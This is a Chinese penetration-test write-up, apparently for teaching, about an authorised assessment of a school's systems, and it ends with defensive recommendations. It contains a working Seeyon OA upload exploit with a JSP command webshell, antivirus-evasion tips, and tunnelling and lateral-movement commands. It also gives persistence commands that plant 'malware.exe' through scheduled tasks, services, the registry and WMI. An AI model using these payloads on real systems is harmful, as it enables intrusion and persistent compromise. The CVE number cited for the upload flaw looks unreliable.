某学校授权渗透测试评估
字数 2127 2025-08-18 11:36:53

某学校授权渗透测试评估技术分析与教学文档

渗透测试概述

本次渗透测试针对某学校系统进行授权安全评估,通过外网和内网多阶段渗透,成功获取了系统权限和敏感信息。测试过程展示了从外网突破到内网横向移动的完整攻击链。

外网渗透阶段

1. 协同管理平台文件上传漏洞利用

漏洞描述
发现协同管理平台存在文件上传漏洞,攻击者可通过此漏洞上传恶意文件获取Web服务器权限。

利用方法

  • 通过常规文件上传功能或接口上传Webshell
  • 使用Burp Suite等工具拦截上传请求,修改文件类型和内容
  • 常见上传绕过技术:
    • 修改Content-Type为合法类型(image/jpeg等)
    • 双写后缀(.php.jpg)
    • 大小写混淆(.PhP)
    • 空字符截断(%00)
    • .htaccess文件上传

修复建议

  • 严格校验文件类型和内容
  • 限制上传目录执行权限
  • 使用随机文件名并存储在非Web目录
  • 实施文件内容检测

2. 致远OA ajax.do任意文件上传漏洞

漏洞描述
致远OA系统的ajax.do接口存在任意文件上传漏洞(CVE-2017-10201),攻击者可上传jsp木马获取服务器权限。

利用步骤

  1. 构造POST请求到/seeyon/ajax.do
  2. 上传包含恶意代码的jsp文件
  3. 访问上传的jsp文件执行命令

POC示例

POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9Pgg3MUhNO2Q0NQz

------WebKitFormBoundary9Pgg3MUhNO2Q0NQz
Content-Disposition: form-data; name="field1"

test
------WebKitFormBoundary9Pgg3MUhNO2Q0NQz
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>
------WebKitFormBoundary9Pgg3MUhNO2Q0NQz--

修复建议

  • 升级致远OA到最新版本
  • 禁用不必要的ajax接口
  • 实施严格的输入验证

3. 致远A8数据库密码解密

漏洞描述
获取了致远A8系统的数据库配置文件,发现数据库密码使用弱加密方式存储,可被轻易解密。

解密方法

  1. 定位数据库配置文件(通常为WEB-INF/classes/conf/database.properties)
  2. 提取加密后的密码字符串
  3. 使用致远OA专用解密工具或脚本解密

修复建议

  • 使用强加密算法存储密码
  • 定期更换数据库密码
  • 限制数据库远程访问

内网渗透阶段

1. 内网突破技术

攻击手段

  • 向日葵远控软件绕过360:利用向日葵远程控制软件的内置功能绕过杀毒软件检测
  • gotohttp远程控制:使用轻量级远程控制工具gotohttp建立持久化控制
  • frp内网穿透:配置frp服务实现内网端口映射到外网
  • Proxifier代理:通过Proxifier配置全局代理,实现所有应用的流量转发

技术细节

  1. 向日葵绕过

    • 使用向日葵的"隐私模式"或"游戏模式"
    • 修改客户端特征码避免检测
    • 利用白名单机制绕过杀软
  2. gotohttp使用

    # 客户端连接命令
    gotohttp -id [设备ID] -secret [密钥]
    
  3. frp配置

    # frps.ini (服务端)
    [common]
    bind_port = 7000
    
    # frpc.ini (客户端)
    [common]
    server_addr = x.x.x.x
    server_port = 7000
    
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 6000
    
  4. Proxifier配置

    • 创建代理服务器配置
    • 设置代理规则将所有流量转发到指定端口
    • 可配合Socks代理工具如EarthWorm使用

2. 内网扫描与漏洞利用

使用工具

  • fscan64:高效内网扫描工具,可检测弱口令、常见漏洞等
  • CobaltStrike:高级渗透测试框架,用于横向移动和权限维持

扫描命令示例

# fscan64基本扫描
fscan64 -h 192.168.12.1/24

# 指定扫描模块
fscan64 -h 192.168.12.1/24 -m ssh,smb,ms17010

# CobaltStrike团队服务器启动
./teamserver [IP] [密码]

常见内网攻击手法

  1. 弱口令爆破

    • SMB/RDP/SSH/FTP等服务的弱口令
    • 使用字典攻击或密码喷洒技术
  2. Nday/1day漏洞利用

    • MS17-010 (永恒之蓝)
    • CVE-2020-0796 (SMBGhost)
    • CVE-2021-26855 (Exchange SSRF)
    • 最新公开的漏洞利用
  3. 敏感信息收集

    • 共享文件夹扫描
    • 配置文件泄露
    • 浏览器密码提取
    • 内存密码抓取

3. 横向移动技术

技术手段

  1. 凭证传递攻击

    • Pass-the-Hash (PtH)
    • Pass-the-Ticket (PtT)
    • Overpass-the-Hash
  2. 远程命令执行

    # WMI执行
    wmic /node:192.168.12.16 /user:admin /password:pass process call create "cmd.exe /c whoami"
    
    # PsExec
    psexec \\192.168.12.16 -u admin -p pass cmd.exe
    
  3. CobaltStrike横向移动

    • 使用已控主机作为跳板
    • 派生会话到新目标
    • 通过SSH或SMB横向扩展

4. 权限维持技术

持久化方法

  1. 计划任务

    schtasks /create /tn "Update" /tr "C:\malware.exe" /sc minute /mo 30 /ru SYSTEM
    
  2. 服务创建

    sc \\192.168.12.16 create "Backup" binpath= "C:\malware.exe" start= auto
    
  3. 注册表自启动

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "C:\malware.exe"
    
  4. WMI事件订阅

    $filterArgs = @{name='Updater'; EventNameSpace='root\cimv2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
    
    $consumerArgs = @{name='Updater'; CommandLineTemplate="C:\malware.exe"}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
    
    $bindingArgs = @{Filter=$filter; Consumer=$consumer}
    $binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
    

渗透测试建议与防御措施

1. 外网防御建议

  • 定期更新所有对外服务组件和框架
  • 实施严格的输入验证和过滤
  • 禁用不必要的服务和接口
  • 配置WAF防护常见Web攻击
  • 实施文件上传安全策略

2. 内网防御建议

  1. 网络分段

    • 按照业务功能划分VLAN
    • 实施严格的ACL策略
    • 关键系统隔离保护
  2. 终端防护

    • 部署EDR解决方案
    • 限制管理员权限
    • 禁用不必要的协议和服务
  3. 监控与响应

    • 部署SIEM系统集中分析日志
    • 配置异常行为告警
    • 建立应急响应流程
  4. 身份认证加固

    • 实施多因素认证
    • 定期更换密码
    • 禁用默认账户和弱密码
  5. 横向移动防护

    • 限制SMB/RDP/WMI等协议的访问
    • 监控异常登录行为
    • 实施最小权限原则

总结

本次渗透测试展示了从外网Web漏洞到内网全面沦陷的完整攻击路径,强调了网络安全防御需要多层次、全方位的防护措施。学校等教育机构信息系统往往存在重功能轻安全的问题,需要加强安全意识培训和技术防护能力建设。

渗透测试的关键在于:

  1. 外网寻找薄弱入口点
  2. 内网快速信息收集和定位关键系统
  3. 使用自动化工具提高效率
  4. 多种横向移动技术组合使用
  5. 建立持久化控制通道

防御方应从攻击者视角审视自身系统,定期进行安全评估和加固,才能有效防范此类攻击。

某学校授权渗透测试评估技术分析与教学文档 渗透测试概述 本次渗透测试针对某学校系统进行授权安全评估,通过外网和内网多阶段渗透,成功获取了系统权限和敏感信息。测试过程展示了从外网突破到内网横向移动的完整攻击链。 外网渗透阶段 1. 协同管理平台文件上传漏洞利用 漏洞描述 : 发现协同管理平台存在文件上传漏洞,攻击者可通过此漏洞上传恶意文件获取Web服务器权限。 利用方法 : 通过常规文件上传功能或接口上传Webshell 使用Burp Suite等工具拦截上传请求,修改文件类型和内容 常见上传绕过技术: 修改Content-Type为合法类型(image/jpeg等) 双写后缀(.php.jpg) 大小写混淆(.PhP) 空字符截断(%00) .htaccess文件上传 修复建议 : 严格校验文件类型和内容 限制上传目录执行权限 使用随机文件名并存储在非Web目录 实施文件内容检测 2. 致远OA ajax.do任意文件上传漏洞 漏洞描述 : 致远OA系统的ajax.do接口存在任意文件上传漏洞(CVE-2017-10201),攻击者可上传jsp木马获取服务器权限。 利用步骤 : 构造POST请求到 /seeyon/ajax.do 上传包含恶意代码的jsp文件 访问上传的jsp文件执行命令 POC示例 : 修复建议 : 升级致远OA到最新版本 禁用不必要的ajax接口 实施严格的输入验证 3. 致远A8数据库密码解密 漏洞描述 : 获取了致远A8系统的数据库配置文件,发现数据库密码使用弱加密方式存储,可被轻易解密。 解密方法 : 定位数据库配置文件(通常为WEB-INF/classes/conf/database.properties) 提取加密后的密码字符串 使用致远OA专用解密工具或脚本解密 修复建议 : 使用强加密算法存储密码 定期更换数据库密码 限制数据库远程访问 内网渗透阶段 1. 内网突破技术 攻击手段 : 向日葵远控软件绕过360 :利用向日葵远程控制软件的内置功能绕过杀毒软件检测 gotohttp远程控制 :使用轻量级远程控制工具gotohttp建立持久化控制 frp内网穿透 :配置frp服务实现内网端口映射到外网 Proxifier代理 :通过Proxifier配置全局代理,实现所有应用的流量转发 技术细节 : 向日葵绕过 : 使用向日葵的"隐私模式"或"游戏模式" 修改客户端特征码避免检测 利用白名单机制绕过杀软 gotohttp使用 : frp配置 : Proxifier配置 : 创建代理服务器配置 设置代理规则将所有流量转发到指定端口 可配合Socks代理工具如EarthWorm使用 2. 内网扫描与漏洞利用 使用工具 : fscan64 :高效内网扫描工具,可检测弱口令、常见漏洞等 CobaltStrike :高级渗透测试框架,用于横向移动和权限维持 扫描命令示例 : 常见内网攻击手法 : 弱口令爆破 : SMB/RDP/SSH/FTP等服务的弱口令 使用字典攻击或密码喷洒技术 Nday/1day漏洞利用 : MS17-010 (永恒之蓝) CVE-2020-0796 (SMBGhost) CVE-2021-26855 (Exchange SSRF) 最新公开的漏洞利用 敏感信息收集 : 共享文件夹扫描 配置文件泄露 浏览器密码提取 内存密码抓取 3. 横向移动技术 技术手段 : 凭证传递攻击 : Pass-the-Hash (PtH) Pass-the-Ticket (PtT) Overpass-the-Hash 远程命令执行 : CobaltStrike横向移动 : 使用已控主机作为跳板 派生会话到新目标 通过SSH或SMB横向扩展 4. 权限维持技术 持久化方法 : 计划任务 : 服务创建 : 注册表自启动 : WMI事件订阅 : 渗透测试建议与防御措施 1. 外网防御建议 定期更新所有对外服务组件和框架 实施严格的输入验证和过滤 禁用不必要的服务和接口 配置WAF防护常见Web攻击 实施文件上传安全策略 2. 内网防御建议 网络分段 : 按照业务功能划分VLAN 实施严格的ACL策略 关键系统隔离保护 终端防护 : 部署EDR解决方案 限制管理员权限 禁用不必要的协议和服务 监控与响应 : 部署SIEM系统集中分析日志 配置异常行为告警 建立应急响应流程 身份认证加固 : 实施多因素认证 定期更换密码 禁用默认账户和弱密码 横向移动防护 : 限制SMB/RDP/WMI等协议的访问 监控异常登录行为 实施最小权限原则 总结 本次渗透测试展示了从外网Web漏洞到内网全面沦陷的完整攻击路径,强调了网络安全防御需要多层次、全方位的防护措施。学校等教育机构信息系统往往存在重功能轻安全的问题,需要加强安全意识培训和技术防护能力建设。 渗透测试的关键在于: 外网寻找薄弱入口点 内网快速信息收集和定位关键系统 使用自动化工具提高效率 多种横向移动技术组合使用 建立持久化控制通道 防御方应从攻击者视角审视自身系统,定期进行安全评估和加固,才能有效防范此类攻击。